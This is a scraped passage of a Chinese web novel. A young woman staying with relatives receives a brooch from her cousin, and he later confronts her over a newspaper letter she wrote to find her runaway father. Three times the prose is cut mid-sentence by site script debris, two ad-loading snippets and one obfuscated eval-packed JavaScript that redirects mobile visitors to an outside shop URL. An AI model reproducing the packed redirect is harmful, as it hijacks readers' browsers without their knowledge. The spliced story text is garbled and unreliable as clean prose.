饭毕,谷翘收拾碗碟,骆家人吃完饭就直接去客厅了。谷翘虽然承担了骆家全部的家务,也觉得刷碗抹桌子这事儿不算什么,能者多劳嘛。但是其他人理所应当地把这些活儿都当成她的,她还是有些不开心。其他人忙工作学业,大头家务她来没问题,琐碎的事儿难道不能主动帮帮忙吗?哪怕假装一下也可以啊。要是骆家的这些孩子是她的姐妹兄弟,她现在就会对他们直接说,“今天也该轮到你们刷碗了。”其实在她的家里,根本就不会有这种事,家里人都不会坐视她自己一个人干活儿的,哪怕是娄德裕,都不会这样做。 但是现在寄住在人家,谷翘觉得计较这些就没意思了。堂姨对她已经远超她期待了,起码她现在待在这里妈妈很放心。能怪谁呢?只能怪娄德裕,这个人现在竟然还不回家承担责任!她在心里痛骂了一遍娄德裕,对自己说找到工作就有机会搬出去了。这么想着,她心里痛快了许多,又麻利把碗碟端到厨房了。 抹桌子的时候,谷翘听见骆培因在给骆家人分他从外面带来的礼物。想家的情绪又冲上了她的脑子,以前娄德裕出门回家一趟也会给家人带礼物,她还为礼物跟娄德裕吵过架。她觉得娄德裕给她买礼物太敷衍了,她都十几岁了,娄德裕还给她买几岁小孩子才喜欢的玩具,而妹妹的礼物德裕则考虑了她们的喜好。娄德裕对她好不好另说,起码她能在他面前理直气壮地要求属于自己的权利。但是现在是别人家,礼物是别人的事。 要努力,谷翘对自己说,美好的未来在等着她。虽然暂时不知道是哪一天吧,但肯定是在等着她的。 “谷翘。” 谷翘听见人叫她,马上回头,自动带上笑,“表哥。” 骆培因递给她一个小盒子,“给你的。” 谷翘惊讶地用手指指了指自己:“给我的?”怎么会?难道骆培因未卜先知,知道她会在他家一直住下去。还给她带了礼物?她强压下去自己的惊讶,笑着说:“谢谢表哥。” 骆老四看到表姐还有礼物,忙凑过来,问是什么。 谷翘不知道此时该不该打开,她下意识看了骆培因一眼,骆培因对她说:“打开看看吧。”看着谷翘一个人在那儿擦桌子,骆培因觉得出于礼貌,礼物不应该唯独漏了她。他每次出远门回家都会给家里每个人都带一份小礼物,这每个人既包括他同父异母的兄弟姐妹,也包括连奶奶。这无关感情,只关乎礼仪。 送给谷翘的礼物是他陪母亲在泰国度假时在一家小店买的,他第一眼就觉得这个小鸟胸针蛮有意思的,但是料定他母亲不会喜欢,就给母亲挑了一个别的。结账的时候,因为这个小鸟胸针并不贵,他就一并买下了。 挑别的礼物时都有很强的目的性,选完所有礼物也就用了不到五分钟。他并不打算给收到礼物的人什么惊喜,那太费心,符合礼貌不出错就行了。唯独买这个胸针的时候,他并没有想到要送给谁,只是觉得有意思又不贵就买了。 看到谷翘一个人在那儿用力地擦桌子,那架势就跟要移山的,骆培因突然想到了他买的这枚胸针。送给她倒也合适,这个人跟小鸟一样,叽叽喳喳地说个没完。 在骆老四的催促下,谷翘打开了盒子。那是一枚胸针,三只鸟,一个比一个大,呈阶梯状在金色的树枝上站着;三只鸟都是上身白色下身蓝色,鸟嘴和脚下树枝呼应着颜色,也是金的。 谷翘围裙里的衣服就是上白下蓝,堂姨喜欢素色的衣服,也这么建议她。没想到就这么对上了。 骆培因有点儿意外,这个叽叽喳喳的女孩子此时竟然沉默了,她的头低着,过了好一会儿,他才听见她说谢谢。那声“谢谢”倒是跟以前一样清亮。 9.第 9 章 谷翘的小屋只有一扇小窗,开着也吹不进来多少风,屋里没有电扇,关起门就显热。她坐在桌前,拿胸针上小鸟的嘴去碰自己的手指,从小拇指一根根手指碰过去,模仿小鸟叼虫子的样子。碰着碰着,她突然快乐起来,仿佛吃够了虫子的小鸟,冲着白墙微笑。 突然听到敲门声,她听到堂姨说:“谷翘,休息了吗?” 谷翘忙把小鸟胸针放到盒子里,去给堂姨开门。 骆太太一进来,整个屋子就显得更小更热了。骆太太说:“怎么屋里这么热?明天去买一个电扇来。” “不用了,夏天就快过去了。”谷翘主动提起了她工作的事,“夏天一过去,无论如何我都应该去工作了。以我现在的学历阅历,一时找不到理想工作是很正常的。人总不能一口气吃个胖子,我还年轻,以后有的是机会进步。我想着我不能再挑工作了,只要能找着工作,就先干着,积累些经验,以后才谈得上更多机会。”她并没有挑拣工作,是堂姨一直在挑。但是堂姨毕竟是为她好,把责任揽到自己身上,双方都有台阶下。 “是在这里待着不满意吗?” “小姨对我很好。但我家这个情况,您也知道,我当然是尽早工作对我对我家都好。” “以你现在的情况,更是一步都不能行差踏错。我说过给你解决工作,就会说到做到。你也不要急,工作的事我会给你解决的。” “谢谢小姨。”谷翘又补充说,“不过要是实在麻烦,您也别勉强。我都十八啦,能对自己负责了。” 好像十八多大一样,骆太太突然有点儿为谷翘心酸,她的同龄人还正在为进大学做准备呢。 骆太太像想起什么似的,她问谷翘:“你知道周瓒吗?” “是那个名人吗?去年出了一本散文集还挺火的?” “是他?你怎么知道他的?”骆太太根据谷翘的话,猜出姐姐是应该没怎么跟谷翘提过周瓒的。 “我以前的语文老师很喜欢他,老是在课上宣传。”谷翘去年生日,一个朋友送她的礼物就是周瓒的散文集。她后来把这本散文集拿回家放在了自己家的客厅橱柜里,再回家就发现书不见了,也是那次回家,妈妈告知他爸去解冻民族资产了。她当时一心想的都是爸爸是不是被人给骗了,并没有时间去关心这本书的去向。 “明天周瓒一家来做客,辛苦你中午多准备两个菜。”骆太太从钱夹里拿出十张大团结,“这是接下来几天买菜的钱。” “您上次给我的还有呢。账单我都一笔一笔记着呢,您要不要看一下?”说着,谷翘就去翻账本。 “要是用不完,你就留着当零花吧。”骆太太发现,钱在谷翘手里变得更经花了一点。 出门前,骆太太看到了谷翘桌上的丝绒盒子。骆老四已经报告给她,二哥送给了表姐一个胸针。当然,像骆培因那样的人,送给她家人个小礼物不算什么。但是在今天之前,他根本不认识谷翘啊。莫非是拿本来送别人的临时送了她? 骆太太像是无意间对谷翘提起:“周瓒的女儿也来,她是你表哥的朋友。这个女孩子挺喜欢你表哥的,这阵子一直打电话问你表哥哪天回来。她本来比你表哥只低一届,但你表哥高二参加了高考,本来是试一试,谁知道考得不错,直接上了大学。她比你还大一点儿,今年上大二。两个人关系好,我们也乐见其成。” 骆太太后来大学快毕业的时候,再次碰见周瓒,得知她女儿的年纪,第一反应就是愤怒,那意味着周瓒还没和姐姐分手,就和另一个女人有了关系。后来她才知道,周瓒的妻子有先天性心脏病,医生不建议生育,他们在婚后领养了一个女孩子。不像其他人家,他们对领养并不避讳。至于周瓒为什么火速和她姐姐分手,娶了一个不能生育的伴侣,她不太相信是因为爱情。 骆太太对周瓒的愤怒并没有持续多久,她大学毕业要分配的时候,很可能留不了京,她带着一线希望去找周瓒帮忙。那时周瓒的父亲已经恢复了工作,在一所著名中学当校长。她还是个穷学生,孑然一身,没人脉,甚至也没礼物可带,她想到了堂姐给她织的白色长围巾,那条围巾男女都可以戴的。她就带着这条围巾去找了周瓒,她告诉周瓒,这条围巾是堂姐送他的,是堂姐让她来找周瓒帮忙的,她并不抱多大希望,那时候堂姐已经和娄德裕结婚好久了。周瓒最终帮了她的忙。她如愿留京做中学老师,恰好骆伯桉的大女儿就在她的班级。都是很久之前的事情了,自从骆伯桉的职级越升越高,骆太太需要操心的事也越来越多,早就远离了教学一线,调到了清闲岗位。 谷翘完全没听出堂姨的用意,她以为是随便聊天就聊到这儿了。虽然表哥对她挺不错,但就算是亲表哥,人家和哪个女孩子好也不关她的事。自由恋爱,亲爹妈都管不着的事,她算哪号?倒是她听到表哥高二就参加高考,不禁问:“表哥什么大学的?” 骆太太没想到谷翘的重点竟是这个:“Z大。” 谷翘哦了一声,原来是Z大,和陈晖一个学校的。她在陈家待了两天,虽然是暑假,陈晖也总戴着校徽,很有学校荣誉感。倒一次都没见表哥戴过。 “时间不早了,你也休息吧。”骆太太自认已经点得够透,以谷翘的机灵足够明白。 等堂姨走了,谷翘又把胸针拿出来在自己衬衣的胸前比了比。她把自己的所有衬衫都翻了出来,把胸针在每件衣服上都试了试。胸针很好,可是衣服都不是很合适。 唉!买新衣服的事现在是别想了。 谷翘坐在桌前,翻着今天的报纸。骆家每天都有许多现成的报纸可读,她都是等晚上别人看完了拿回卧室看。 她每天读报纸,差点儿把报纸缝儿都给读了。她在报纸里寻找自己寄去的读者来信,到今天还是没发现一条。 她很希望报纸能登她写的读者来信,但是又怕报上登的是那篇《给热心市民骆培因的一封感谢信》,写这封信的时候,她还不知道骆培因就是她的表哥。 谷翘虽然听小姨的话,没跟骆家其他人说起她爸的事。但她已经给多家报纸寄出了读者来信,这些来信的目的只有一个,就是让娄德裕看到,意识到他的责任,良心发现,赶紧回家。谷翘猜她爸为了重新赚到大钱,一定不会放过从报纸上获取信息,要想在报纸上刊登消息,只有读者来信是免费的。因为不知道她爸会看那张报纸,她给本市 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 所有发行量大的报纸都寄去了读者来信。为加大发表概率,谷翘变换了各种形式的主题,除了呼唤父亲回家,还有提醒大家防骗,甚至她还写了一篇《给热心市民骆培因的一封感谢信》。 那篇实在夸张了点儿,但是分析了许多读者来信的内容,谷翘觉得这样写发表的概率大一些。这篇《给热心市民骆培因的一封感谢信》基本上也算尊重事实,就是某些地方进行了打乱重组,另外有些描述感情过于充沛了些。谷翘写自己为了寻父独自来到这个陌生的大城市,心情非常紧张忐忑胆怯,以为这个城市不会接纳自己这样的外乡人,但是没想到遇到了骆培因这样的大好人,不光给自己在公共汽车上让座,还不顾个人安危帮自己阻止了来自流氓的威胁,甚至为了帮自己指路,不顾自己行程繁忙坚决把她带到了目的地。谷翘说自己遇到这样的好人,一颗心热腾腾的,比这个炎热的夏天都要热。 在《给热心市民骆培因的一封感谢信》结尾,谷翘进行了升华,她相信骆培因是这个城市市民的缩影,好人无处不在。马上我国就要第一次办亚运会了,这些优秀市民的热情风采将会感染更多的人。当然这封读者来信目的终究还是为了寻找娄德裕,里面见缝插针地写了娄德裕的关键信息。 谷翘有点儿担心,万一这封感谢信刊出来,骆家估计就知道她爸的事了。她自己无所谓, 但她知道小姨是不会喜欢报纸发这些东西的,小姨不光讨厌娄德裕,还很不想别人知道她有娄德裕这个亲戚。在小姨面前,谷翘没怎么为娄德裕辩护,就算说他没那么坏,小姨也只会以为谷翘被亲情冲昏了头脑。娄德裕要想不被人看扁,只有回家主动承担责任一条路,别的怎么解释也是白扯。 和小姨不一样,直到现在,谷翘也觉得娄德裕回家远比不回强。他要认识到错误回家,哪怕从头再来,妈妈的压力也轻了许多,她也省却许多担心。公平地说,在这件事儿发生前,谷翘认为娄德裕在家里还是很有作用的。虽然娄德裕对她也就勉强够得上一个父亲的平均水平,但对两个妹妹,可以说算个好爸爸。 和村里的同龄人比,绝不能说德裕对谷翘多坏,他从来没打过她一根手指头,吃喝也没少了她的,这些年有了点儿钱对她也算得上大方。娄德裕伤害她感情的都是一些不大的事,他总是偏激地认为妈妈更偏心她,为了公平,娄德裕决定把心都偏给妹妹们。 谷翘曾经有过一双很漂亮的手套,戴了好几年,后来二妹也很喜欢她的手套,出于对妹妹的爱,她就把手套送给了自己的妹妹,结果娄德裕看见妹妹戴她的旧手套,竟很生气地把手套扔到一边,对妹妹说,“怎么拿这个旧东西当宝贝,爸爸带你去买新的!”那架势好像是她把自己不要的破烂儿给妹妹似的,她为这事跟娄德裕吵了起来,妈妈听了自然也站在她这边。明明是娄德裕不对,他却仿佛受了天大的委屈,他很愤恨地对二妹说:“以后不要捡别人不要的东西,爸爸都给你买新的!”妈妈难得发了火,最后是娄德裕道歉。之后德裕的偏心隐蔽了一些。 谷翘把报纸一一叠好,临睡前又看了胸针一眼,她对这枚胸针说,不要着急,我迟早会有一件和你配着合适的衣服的。 10.第 10 章 谷翘每天一大清早起床,洗漱完就进餐厅对冰箱进行一番清点。前天还剩三个西红柿,昨天骆培因回来,因他对西红柿过敏,就没做西红柿相关的菜。 今早谷翘洗了个西红柿,坐在餐桌前思考去菜市场买什么菜,一边吃一边感叹吃不到这么好吃的西红柿真是遗憾。 她正吃着,就听见客厅有人活动,她向外面望去,从上到下从骆培因的脸看到他的腿,这人小腿真长,然后迅速把脸转过去,吃完最后一口西红柿。 骆培因下意识向下看了自己短裤一眼,他这运动短裤非常宽松,长度也就比膝盖高那么一点,并没有任何不得体的地方。因和继母同住,骆培因出了卧室就还挺注意穿衣的,即使他平常是家里最早起的人,刚起床下楼他也会注意。谷翘看了他一眼就再没转头,好像看了什么不该看的东西。 直到他从冰箱里拿了冰水,谷翘才回头叫了声表哥,声音不如以往清亮。 谷翘要去菜市场买菜,偏常骑的自行车坏了,赶巧正碰上骆培因起床要去跑步。她注意到他衣服就那么两个颜色,耳机却每次见他都不一样。今天他戴的耳机是蓝色的。裤子也比早上她见他时长了许多。 这房子里只他俩起了。谷翘叫住了要出门的骆培因:“表哥,能把你自行车借我一下吗?我去买菜!”虽然有冰箱,但谷翘每天一大清早就去菜市场买菜,只买当天的菜量。原因有好几个,其中有一点,她觉得在菜市场里比在骆家有意思。 骆培因的自行车是横梁,且因为他腿长,自行车座椅特意抬高了许多。 谷翘借了车,刚说了谢谢,就要往上骑,骆培因叫住了她:“等等!”他把座椅调到一个适合谷翘的高度,谷翘还没说谢谢,骆培因已经跑远了。 骆培因早上跑完步回到家,就听见骆老四的琴声。为防止他偷懒,他母亲特意让房间敞着。 听骆老四弹琴最难受的就是骆培因,他能听出他曲子里的所有错误。骆培因很清楚以他的身份指出老四的错误,继母只会把老四的练琴时间延长。他从没说出老四的错误。又不会成为职业,对音乐不敏感也有不敏感的好处,譬如谷翘,她就完全没受到这琴声的烦扰,正忙中偷闲剥莲蓬吃。 谷翘正坐在餐桌前吃莲蓬,锅里熬着粥,荷叶充当了锅盖。餐桌花瓶里的花换成了荷花。 谷翘看到骆培因回来,热心地问:“表哥,你吃莲蓬吗?” “谢谢。你自己吃吧。”看骆培因注意到桌上的荷花,谷翘告诉他,“买莲蓬送的。表哥你要喜欢,明天我多买一些,你插在瓶里放房间。” “不用了。” 一大清早,谷翘就去了菜市场,买莲蓬送荷花。她买了好多莲蓬,除了吃,她还准备做一个莲蓬灯,作为礼物送给骆培因。表哥送了胸针给她,她没钱买回礼,就只好动动手啦。 买莲蓬送荷花,摊主送了她好几大朵,还用不怎么完好的荷叶给她包好了。她自己花钱买的荷叶倒是很好。谷翘吃莲蓬的时候,已经把今天的早饭规划好了。表哥昨天好像挺喜欢吃马齿苋的,为感谢他昨天的礼物,谷翘特意做了马齿苋馅饼。 吃早饭的时候,谷翘特意给馅饼调了两种酱汁。一碟有蒜汁,一碟没有。谷翘特意把没有蒜汁的酱汁放到骆培因面前。 晚上请客,上午堂姨带表妹去参加婚宴。送走堂姨,谷翘就在餐厅做她的莲蓬灯,家里只有她和表哥表弟三个人,午饭可以简单点。餐厅门开着,她特意留意门铃声。 听到门铃声,谷翘去开门。 “你好,请问你找谁?” “骆培因在吗?我是他朋友。” 来人是赵钺。他本来得知骆培因昨天回来,准备今天打电话约他去打局球游个泳。结果早上他奶奶在报上看见一条消息,问上面的骆培因是他认识的那个吗。赵钺一看见骆培因前缀是“热心市民“,就憋不住乐了,这是哪个天才编出来的词儿。一看内容,更是……让座是骆培因能干出来的事儿,挡个小流氓也正常,人家只要求指个路,就非要热心地骑车把人送到目的地,还说这是他应该做的,这是哪个世界的骆培因? 赵钺开始以为自己和骆培因都是没什么架子的人。骆培因在这点上比他更难得,赵钺的父母都在大学教书,教书育人这职业固然很美好,但也意味着等他爷爷退下来他们家就被圈子边缘化了,而骆培因属于圈子里的人。但深入接触之后,赵钺发现两个人有本质上的不同。他的没架子,是觉得去掉财富地位后,大家本质都差不多,谁也别把自己太当回事儿,谁不知道谁啊;而骆培因的没架子是太把他自己太当回事儿了, “严于律己,宽以待人”本质上就是一种智识上的傲慢,认为自己跟别人不一样,所以如果不侵犯到他的利益,他懒得跟别人计较,或者眼里根本没人。 赵钺因为对自己没什么要求,乍看到一个对自己很有要求的人,竟然在新鲜之余生出一点佩服来。 赵钺很早就意识到自己身上的缺点,但他很快发现这些缺点大部分人都有,起码他身边的人如此,于是他很快宽容了自己。也因为这个,他对包含他在内的人类并不抱有什么期待。恰恰因为没有什么期待,他显得极其包容。和他接触过的人,几乎都觉得他是个随和好相处的人。他的交际圈从上到下,各行各业无所不包。连学校门口的门卫大爷有时看见他也会和他来几句玩笑。论深入群众这点,他比骆培因要强得多。骆培因虽然也挺尊重人家大爷的,但门卫大爷绝不会去和他开玩笑。 赵钺的哥哥这两年开公司赚了不少钱,把福特换成了奔驰。旧福特淘汰下来,他有时也开着玩儿。大概他哥想拉上骆伯桉这条线,问赵钺能不能把骆培因约出来吃顿饭。赵钺说以我俩的交情,吃顿饭是没问题;但你要找他给你办事儿,我就不知道了。如果你不是非找他不可,还是别找他。真要用朋友,那也得有大事的时候,一个人的耐心是有限的。 奶奶边看报边教育孙子:“小骆这人是真不错,你就得多跟这样的人来往!多学学人家!别什么样的朋友都交!” “您的话怎么就这么有道理!我听了您的话不知少走了多少弯路!”奶奶带了助听器,赵钺怕奶奶听不见,特地放大了自己的音量。 赵钺奶奶看孙子的表情,多少觉得有些不正常。自己好朋友做个好事儿也不至于乐成这个样子。 见赵钺拿着报纸就往外走,奶奶叫住他:“你干什么去,西瓜刚切好!” “我跟人学习去!“ 赵钺连电话都没打,直接就开着他哥淘汰的那辆福特奔了骆家。 开门的是个小姑娘,赵钺一时摸不清这人到底是怎么个来路。她的年龄绝对不会超过二十岁,短发微微有些卷,配合她整个人的五官,显得很俏皮,但是衣服偏成熟了一些,和她的头发不太搭配。不过确实他也认识一些年轻女孩子特意往成熟了打扮。这个家的常住人口他都认识,连奶奶在的话,不会让客人来开门。 赵钺抑制不住好奇,特意问了一嘴:“连奶奶人呢?” 谷翘听赵钺提连奶奶那语气,确定他是这个家的熟人:“前些日子她摔了一下,在家养病呢。不过没大碍。”她说完就问赵钺,“还不知道怎么称呼你呀?” “赵钺。“他还没问这女孩子叫什么,就听见她说,“你请坐,我马上去给你叫表哥。“ 表哥?赵钺往常来骆家,都是直接奔楼上骆培因房间。他还没说我自己上去就行,就见那姑娘已经蹬蹬蹬上了楼梯,根本没给他说话的时间。 骆培因听见赵钺找他,直接在楼上招呼他上来。他转身对谷翘说:“谢谢,再辛苦你做两杯咖啡送上来。” 谷翘愣了一下,做饭这种很讲究技术的事需要她来做,她很同意;但是咖啡骆培因难道不会自己弄吗?为什么就那么自然地要求她来呢?之前家里来客人,姨妈请她帮着煮咖啡弄茶,她理解为这是堂姨让 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她通过实践练习下待人接物,而且堂姨毕竟年纪大些,不如她灵便;但表哥,一个身体如此健康的年轻人,为了消耗自己的体力每天长跑的人,据骆老四说一口气能做三十个引体向上的人,在家里保姆暂时缺位的情况下,连杯咖啡都不肯自己煮? 好像她是……好像她是他家的保姆。她对做保姆完全没有任何意见,如果骆家人说连奶奶不在家,暂时需要她做保姆,她马上可以上岗,她现在很需要钱,绝不挑拣工作。但是她没拿工资啊,她是把自己当成一个来帮忙的亲戚看待的。把一个不拿工资来帮忙的亲戚当成一个拿工资的家政服务员来使用,她不由对表哥的道德高度产生了一些怀疑。 不过因着之前的事,她对表哥的道德还是信得过的。大概就是懒吧,而且只在家务活儿上犯懒,跑步却能起个大早。 谷翘对表哥的好感稍微下降了些。对表哥的形容词里,多了四个字——懒得冒泡。不过她并没跟表哥理论,只是想尽快搬出去的心多了一分。她说了声好,就又蹬蹬蹬下了楼。 赵钺上楼时正巧和谷翘擦肩而过,谷翘注意到赵钺在看她,蹬蹬蹬下楼的同时还不忘冲他点了点头。 关上门,赵钺对骆培因感叹:“咱表妹真是风风火火啊!我还不知道你有个这么活泼的表妹。” “谷阿姨的亲戚。“ 赵钺心里说谷阿姨看着也是很沉稳的一个人,两个人也不很像。他一时忘了来的事:“听说连奶奶在家养病,也没见新保姆……” “你刚见的那女孩子在家里帮忙。“ 赵钺哦了一声,在心里说了句原来如此,笑道:“这丫头表哥叫得可真脆生,跟你是她亲表哥似的。” 赵钺的话里本有些别的意思,骆培因一句话堵了回去:“她就这性格。” 赵钺这才想起来他此行的目的之一,笑着挥挥手里的报纸,“我差点儿忘了我刚为什么来找你。看不出来你还能做出这种事!热心市民!太热心了!” 骆培因拿着报纸看,在短短一分钟内,他脸上至少出现了三种表情,在赵钺看来三种表情对骆培因来说已经够丰富了。 “说吧,这个叫谷翘的女孩子哪儿蛊惑了你?人家只要你指个路,你冒着迟到的风险非要骑车把人家送到家。人家的心,现在被你温暖得比今年夏天还要热了!还特地写了一封长信感谢你。我们家老太太还让我学习,照你这热情程度,要不是长得好,我看被人姑娘当成人贩子也不一定。我相信以这件事的惊奇程度,过不了两天,认识你的人就会都了解到你的热心事迹。我都不敢想象咱们学校的那些姑娘看到你条件不允许也硬要助人为乐,怎么评价你?敢情你不是冷淡,是只对特定的人热情!“ 骆培因的眼睛盯着报上的署名——谷翘。这个人……到底是怎么重组出这个故事?他想起谷翘那天说的话。 “我叫谷翘,谷子的谷,尧羽翘。你叫什么?” “真是个好人。做好事不留名……“ 骆培因的反应比赵钺预想的还要精彩,他突然想起给他开门的表妹: “对了,这姑娘和你表妹一样,也姓谷。你真是和谷还挺有缘!“ 骆培因还没说话,房间电话就响了,打电话的是他的高中同学,现在在贸大,这位同学是从国关的一位朋友那里得知的。来电也没有别的意思,就是想要确定报上这位热心市民是不是他认识的那个骆培因。 赵钺从架子上拿了盘鲍勃迪伦放唱机里,他笑着问骆培因:“能不能给我讲讲,在这封感谢信之后,你们发生了什么故事?” 谷翘在厨房里忙着,眼睛瞥到骆培因过来,第一反应是对他说:“咖啡很快就好啦。“ 但骆培因并没有看咖啡,而是关上厨房门,一双眼睛打量着谷翘。谷翘头次被骆培因看得不自然,他第一次这么长时间地看她。他以前一次在她身上的目光停留时间不超过三秒。 “表哥,你是有什么事吗?” 11.第 11 章 骆培因把报纸递给谷翘:“这是你写的?” 谷翘看到上面的字,她的读者来信终于见报了!也不辜负她写了这么多封信,不知道娄德裕会不会看到。但这股见报的喜悦并不停留多久,她马上意识到骆培因来找她的原因。不说别的,光是他俩这拐弯抹角的亲戚关系,让人知道了没准会以为骆培因授意她吹捧他呢! 骆培因注意到谷翘的大眼睛滴溜转了一转,然后一大段话源源不断从她嘴里冒出来,一点儿磕巴都不打。 谷翘理了理思路,决定掩盖自己写信的真实目的,她这套话说得很顺:“表哥,我那时还不知道你是我表哥,当时我还没说完谢谢,你就走了。我一点儿你的信息都没有,但又很想表达对你的感谢,所以很冒昧地给你写了这封感谢信。我当时完全是凭记忆写的。你知道,记忆也可能有不准确的地方,当时我也没办法和你核实。有些词句在你看来可能有些夸张,但你相信,这都是我当时真实的心情。要是我写这封信的时候就知道你是我表哥就好啦,我就当面跟你致谢了,也不用费心写这么些东西。” 说完这些谷翘抬头看骆培因,她发现骆培因还在盯着她看。他看她,却又不说话。好像事情还挺严重的样子。 谷翘虽然心里发虚,但努力克制住了,为表示自己的真诚,她用自己的眼睛也盯着骆培因看:“表哥,我当时确实不知道你就是我表哥,否则我不会写这个的。我知道现在这信可能给你造成了一些困扰,不知情的人要是知道咱俩的亲戚关系,还以为你故意让我写感谢信吹捧你呢!但我当时是真不知道,我是两周前寄的信,你要不信,我给你看证据。” “你写感谢信就是单纯为了感谢我?” 谷翘继续睁着她的大眼看着她表哥:“当然啦,表哥。我难道还能有什么别的目的吗?” 谷翘还在想怎么把理由编得更有说服力,却听骆培因问她:“你爸爸找到了吗?” 骆培因并不很相信谷翘的解释,她刻意忽略了最重要的一部分。既然是感谢信,感谢他就好了,何必如此具体地写什么“解冻民族资产”骗局,她爸至今未归,家里被债主搬空,母亲勇挑债务。这些话比感谢他的那些肉麻字句应该更真实,他不认为她的境遇是编的,除非是她想吸引别人给她捐款。但目前骆培因并没有看出谷翘有这方面的想法。 谷翘准备的话都没了用场,她低低地回了一句:“还没有。”远没之前清亮。 “你这次进京是来找你爸的?” 谷翘嗯了一声。 “你写感谢信是为了找你爸?” 谷翘没说话,但骆培因已经知道了答案。她说谎的时候叽叽喳喳的说个不停,到说实话的时候反而沉默了。刚才瞪着一双大眼盯着他看,好像自己多无辜似的;这会儿却把头给低下了。 谷翘本来是不打算跟骆家其他人说娄德裕的事情的,但是没有一个人能交流又只能一个人想解决办法实在是太憋得慌了。骆培因一提,谷翘一时冲动,忍不住说了几句她自己的事,她说得很概括,但基本上把自债主找上门的事都说了。说完又忍不住问:“表哥,你说除了在派出所报失踪、在报上登消息,还有什么办法能找到我爸?”她觉得自己初来乍到,骆培因毕竟比现在的她见多识广,认识的人也多,办法或许会多些。 如果人没有被绑架的话,他只要想回来就能回得来。他不回来,只有一点,就是他不想。骆培因觉得这是很显而易见的事情。但谷翘好像不明白这条道理一样。看着机灵,其实是个一根筋。 最令骆培因意外的是,谷翘是今年因为她爸的债务才辍学的,他还以为她是对上学没兴趣来进城工作的。如果继母真和谷翘说的关系那样近,一般来说会资助她复学。他爸满嘴乡村教育,屋檐底下就有一个因为没钱失学的人,不用继母做什么,甚至也不用刻意说什么,只要如实陈述一下谷翘的遭遇,老头子自然就会资助谷翘复学。但是谷翘现在在他家料理家务。 他此时确认谷翘写这封信完全是她的个人行为,继母完全不知情。继母大概不愿意骆家人知道这件事。 “你写这封信你堂姨不知道吧。” “不知道。“谷这时才意识到堂姨也可能对这封信不满,她很清楚堂姨根本不愿意有人知道她有娄德裕这个亲戚,她修饰了一下字句说:“小姨对我爸现在不回来很不满,一提她估计又要生气。如果没人问这件事,这封信咱们就不要提了吧。” 骆培因倒是不想提,她把他的大名写上去,再这么捏造一番事情,过两天认识他的人估计全都知道了。他,人家只要他指个路,他非要把人送到家。当然像谷翘这种没边界感的人,会把此理解成一种单纯的善举。脱离当天的事实,照报纸上描述的那种情况,一般人都会理解成他对这个女孩子别有所图。 但事已至此,纠缠这个也没意思。除了收获她的道歉,不会有任何改变。 继母的家事他不便掺和,他也不知道谷翘一家和她堂姨到底是怎么一回事。 但是谷翘主动跟他说了她的麻烦,他也不能当没听见。 骆培因没提给谷翘找爸爸的事,他不觉得这个人有什么寻找的必要。但他认为谷翘应该回去上学。 “你想没想过回去复读一年再参加高考?你如果有这个想法的话,我可以帮你。钱的问题不用担心。” 谷翘没想到骆培因会这么说,复读一年,就算考上大学,还要等好几年才能赚钱。再说她也不是非常热爱上学,当初上学是按部就班,觉得除了考学没有别的选择。如今计划打乱了,她开始想别的可能。但是听骆培因这么说,她还是很感动,她相信他这一刻是真心为她着想的。在这之前,只有她母亲说过让她回去读书,不要担心钱。表哥虽然懒了点儿,但还是非常善良的。 往常可以随意说出口的谢谢,这次却没那么轻松。谷翘调整了下心情,笑着对骆培因说:“谢谢表哥,不过我现在更想工作。我想好了,等暑假一结束我就马上工作。那时候连奶奶估计差不多好了。”或者小姨请到了她满意的新保姆。 “暑假结束你就工作?”所以现在谷翘不是在骆家工作,骆培因心里艹了一声。 谷翘并没听见她表哥心里的脏话,但看出他眼神复杂。她猜测像这种表哥擅长读书的人,恐怕对她这种不那么热爱上学的人有些偏见。她为自己解释道:“人生苦短,我应该做我更擅长的事。” “你擅长什么?“他或许可以给她介绍一个她还算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13749670|144253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擅长的工作。据他对谷翘短暂的了解,她应该不是个挑肥拣瘦的人,找个合适的工作不是什么难事儿。 谷翘很认真地问:“表哥,你觉得我做的菜怎么样?” “不错。“他觉得已经超过她这个年龄该有的水平,但是骆培因无法想象谷翘做一个厨子。 “你小姨对你未来职业有什么建议吗?”毕竟是继母的家事。 谷翘实话实话:“小姨希望我做大学后勤,但是我觉得以我的学历基本不可能。我想随便什么工作先干着,能挣钱就行。“ “这个倒也没什么不可能。”这个一般属于大学安排教职员家属的活儿。如果家属够不上教职,有点儿学历就去图书馆资料室,没学历的就去后勤。理论上说不需要什么特殊技能,高中学历足够用了。他有个朋友的妈妈正好是Z大总务处的,他问一下能不能帮忙安排一下。这个事骆培因不确定百分百能成,就没先对谷翘说。 谷翘说了这么多话,痛快多了。跟表哥这么一说话,她又对他恢复了原有的好感。懒点儿就懒点儿吧。人无完人,反正也不在他家做多少天,他懒也不怎么影响自己。 “咖啡好啦。”她突然想起还有客人等着呢。 对表哥恢复好感之后,谷翘问骆培因:“表哥,中午你有什么想吃的吗?我给你做。” “中午出去吃。” “哦。“ “你也一起吧。” “方便吗?“ “没什么不方便的。” 老四最喜欢吃炸鸡,听说二哥请客要出去吃饭,马上提出建议:“咱们去肯德基吧!”自从前两年本市第一家肯德基家乡鸡开张之后,老四就成了这家店的忠实拥趸。可惜他妈妈不让他多吃,说肯德基在国外就是垃圾食品。骆老四想着我又不是在国外,国外垃圾关我什么事。 老四提议的同时不忘表扬谷翘:“表姐现在做的炸鸡都快和店里一样了。”不过呢,家里还是缺少一点儿氛围,店里弥漫着炸鸡的香味吗,胃口会更好些。 